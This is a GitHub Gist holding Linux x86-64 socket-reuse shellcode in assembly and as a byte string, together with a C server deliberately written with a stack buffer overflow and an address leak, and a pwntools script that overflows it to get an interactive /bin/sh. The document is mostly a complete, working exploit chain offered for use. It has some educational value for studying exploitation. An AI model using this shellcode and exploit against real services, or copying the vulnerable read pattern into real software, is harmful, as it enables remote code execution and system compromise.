Last active
October 18, 2021 22:27
-
-
Save jusmistic/08c1ae03cb1cef85ecfecbec9e4855ce to your computer and use it in GitHub Desktop.
Socket reuse Linux x86-64
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
; Linux x86-64 - Execve ("/bin/sh") Socket Reuse | |
; Length: 79 bytes | |
; Date: 21/03/2021 | |
; Author: Puttimate "Jusmistic" Thammasaeng | |
; Tested on: x86_64 Debian GNU/Linux | |
; Socket Reuse x86-64 | |
; 1. Finding sockfd using getpeername function. | |
; 2. Call dup2 sockfd with 0,1 and 2. | |
; 3. Execute /bin/sh. | |
; nasm -f elf64 socket_reuse.asm -o socket_reuse | |
; objdump -d ./socket_reuse |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' | |
; Ref: https://d3fa1t.ninja/2017/09/17/linux-x86-one-way-shellcode-socket-reuse/ | |
find_fd: | |
; 1. Finding sockfd using getpeername function. | |
; int getpeername(int sockfd, struct sockaddr *addr, socklen_t *addrlen); | |
; src: https://man7.org/linux/man-pages/man2/getpeername.2.html | |
; getpeername syscall: 0x34 | |
; rax = 0x34 | |
; rdi = sockfd | |
; rsi = *addr | |
; rdx = *addr_len | |
; src: https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md | |
; Note: | |
; sockaddr size is 16 bytes. | |
; Solution: | |
; 1. Prepare stack for *addr and *addr_len | |
; 2. Call getpeername(sockfd++, ...) | |
; 3. loop until rax eq 0 (if the sockfd is correct rax will eq 0) | |
; After we found a sockfd IP Address will store at rsi+4. | |
; You can add an IP checking if you want. | |
xor rdx, rdx ; rdx = 0 | |
mov rdi, rdx ; rdi = 0 | |
; rsi = *addr | |
push rdx ; prep stack for *addr | |
push rdx ; prep stack for *addr | |
mov rsi, rsp ; rsi = *addr | |
; rdx = *addr_len | |
mov dl, 16 ; addr_len = 16 | |
push rdx ; push addr_len to stack | |
mov rdx, rsp ; rdi = *addr_len | |
; syscall getpeername | |
loop_findfd: | |
; rdi = sockfc | |
inc rdi ; inc every loop | |
xor rax, rax ; rax = 0 | |
mov al, 0x34 ; rax = 0x34 | |
syscall ; call getpeername | |
test rax, rax ; if rax != 0 jmp to loop_findfd | |
; else => rdi is sockfd -> dup2 | |
jne loop_findfd | |
dup2: | |
; 2. Call dup2 sockfd with 0,1 and 2. | |
; int dup2(int oldfd, int newfd); | |
; src: https://man7.org/linux/man-pages/man2/dup2.2.html | |
; dup2 syscall number: 0x21 | |
; rax = 0x21 | |
; rdi = sockfd | |
; rsi = 0,1,2 | |
; src: https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md | |
; Solution: | |
; 1. Setup arg for dup2 function. | |
; 2. Call dup2 function. | |
xor rsi, rsi ; rsi = 0 | |
loop_dup2: | |
mov rax, rsi | |
mov al, 0x21 ; rax = 0x21 | |
syscall ; call dup2(sockfd, rsi) | |
inc rsi | |
cmp sil, 0x3 ; if rsi != 3 jmp back to loop_dup2 | |
; else execv spawn shell | |
jne loop_dup2 | |
exec_shell: | |
; 3. Execute /bin/sh. | |
; I don't know how to write shellcode to spawn shell just use the snippet from http://shell-storm.org/shellcode/files/shellcode-806.php . | |
xor rax, rax | |
mov rbx, 0xFF978CD091969DD1 | |
neg rbx | |
push rbx | |
push rsp | |
pop rdi | |
cdq | |
push rdx | |
push rdi | |
push rsp | |
pop rsi | |
mov al, 0x3b | |
syscall | |
; | |
; Python3 | |
; sc = b"\x48\x31\xd2\x48\x89\xd7\x52\x52\x48\x89\xe6\xb2\x10\x52\x48\x89\xe2\x48\xff\xc7\x48\x31\xc0\xb0\x34\x0f\x05\x48\x85\xc0\x75\xf1\x48\x31\xf6\x48\x89\xf0\xb0\x21\x0f\x05\x48\xff\xc6\x40\x80\xfe\x03\x75\xf0\x48\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" | |
; Length: 79 bytes | |
; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <unistd.h> | |
#include <sys/types.h> | |
#include <sys/socket.h> | |
#include <netinet/in.h> | |
#include <errno.h> | |
// src: https://d3fa1t.ninja/2017/09/17/linux-x86-one-way-shellcode-socket-reuse/ | |
// use for testing Socket-reuse shellcode x64 | |
int newsockfd; | |
void error(const char *msg) | |
{ | |
perror(msg); | |
exit(1); | |
} | |
void greet(int newsockfd){ | |
int n; | |
char Hello[500]; | |
char buffer[2048]; | |
sprintf(Hello, "Welcome to my server!Send a message!\nbuffer: %lp\n", &buffer); | |
write(newsockfd,Hello,strlen(Hello)); | |
n = read(newsockfd,buffer,4095); | |
if (n < 0) error("ERROR reading from socket"); | |
} | |
int main(int argc, char *argv[]) | |
{ | |
int sockfd, portno; | |
socklen_t clilen; | |
char buffer[4096], reply[5100]; | |
struct sockaddr sock; | |
struct sockaddr_in serv_addr, cli_addr; | |
int n; | |
sockfd = socket(AF_INET, SOCK_STREAM, 0); | |
if (sockfd < 0) | |
error("ERROR opening socket"); | |
bzero((char *) &serv_addr, sizeof(serv_addr)); | |
portno = 1337; | |
serv_addr.sin_family = AF_INET; | |
serv_addr.sin_addr.s_addr = INADDR_ANY; | |
serv_addr.sin_port = htons(portno); | |
if (bind(sockfd, (struct sockaddr *) &serv_addr, | |
sizeof(serv_addr)) < 0) | |
error("ERROR on binding"); | |
printf("\n\n Server socket number is %d\n\n",sockfd); | |
listen(sockfd,5); | |
clilen = sizeof(cli_addr); | |
newsockfd = accept(sockfd, | |
(struct sockaddr *) &cli_addr, | |
&clilen); | |
printf("\n\n Client socket number is %d\n\n",newsockfd); | |
if (newsockfd < 0) | |
error("ERROR on accept"); | |
while (1) { | |
greet(newsockfd); | |
} | |
close(newsockfd); | |
close(sockfd); | |
return 0; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
def exp(): | |
p = remote("localhost", 1337) | |
p.recvuntil(": ") | |
client_addr = int(p.recvline()[:-1], 16) | |
print(f"Buffer Address: {hex(client_addr)}") | |
# p.recvuntil(": ") | |
sc = b"\x48\x31\xd2\x48\x89\xd7\x52\x52\x48\x89\xe6\xb2\x10\x52\x48\x89\xe2\x48\xff\xc7\x48\x31\xc0\xb0\x34\x0f\x05\x48\x85\xc0\x75\xf1\x48\x31\xf6\x48\x89\xf0\xb0\x21\x0f\x05\x48\xff\xc6\x40\x80\xfe\x03\x75\xf0\x48\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" | |
buf =b"" | |
buf += b"\x90"*200 | |
buf += sc | |
buf += b"\x90"*(0xa00-len(buf)) | |
buf += b"B"*8 | |
buf += p64(client_addr+150) | |
buf += b"D"*20 | |
p.sendline(buf) | |
p.interactive() | |
exp() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment